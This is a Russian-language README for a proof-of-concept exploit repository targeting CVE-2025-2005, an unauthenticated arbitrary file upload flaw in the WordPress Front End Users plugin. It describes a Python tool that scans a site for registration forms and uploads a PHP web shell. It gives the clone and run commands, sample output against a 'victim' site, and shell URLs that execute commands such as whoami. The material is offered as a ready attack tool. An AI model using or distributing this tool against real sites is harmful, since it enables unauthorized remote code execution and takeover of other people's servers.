Эксплойт произвольной загрузки файлов WordPress FEUP (CVE-2025-2005)

Этот репозиторий содержит PoC-эксплойт для плагина WordPress Front End Users (версии до 3.2.32), уязвимого к произвольной загрузке файлов из-за отсутствия проверки MIME/типа файла в форме регистрации. Это позволяет неаутентифицированным злоумышленникам загружать вредоносные файлы (например, веб-шеллы), что потенциально может привести к удаленному выполнению кода (RCE) на сервере.

Возможности

• CVE-2025-2005: Уязвимость загрузки файлов плагина WordPress Front End Users
• Простой интерфейс командной строки
• Автоматическое обнаружение форм регистрации
• Загрузчик шелла с настраиваемым именем пользователя/паролем

Как это работает

• Отправляет запрос на регистрацию в уязвимую форму FEUP.
• Загружает PHP-шелл через поле ввода файла, обходя ограничения по типу файла.
• Отображает статус загрузки и сообщает, уязвим ли сайт.

Цели тестирования

• Ищет формы регистрации, содержащие:
• ewd-feup-register-form
• На URL-адресах, таких как:

/register/
/signup/

• или любую ссылку, найденную на главной странице

Начало работы

• Python 3.x
• модули requests и beautifulsoup4:

pip install requests beautifulsoup4

Установка

https://github.com/mrmtwoj/CVE-2025-2005.git
cd CVE-2025-2005

Использование

python3 exploit.py --url http://target.com --user hacker --password pass123

Пример вывода

[*] Scanning site: http://victim.com
[*] Found 17 pages.
[+] Registration form found at: http://victim.com/register
[*] Uploading shell...
[+] Shell uploaded successfully!

Запуск эксплойта

Location ::
http://victim.com/wp-content/uploads/shell.php
http://victim.com/wp-content/uploads/ewd-feup-user-uploads/shell.php
RUN ::
http://victim.com/wp-content/uploads/shell.php?cmd=whoami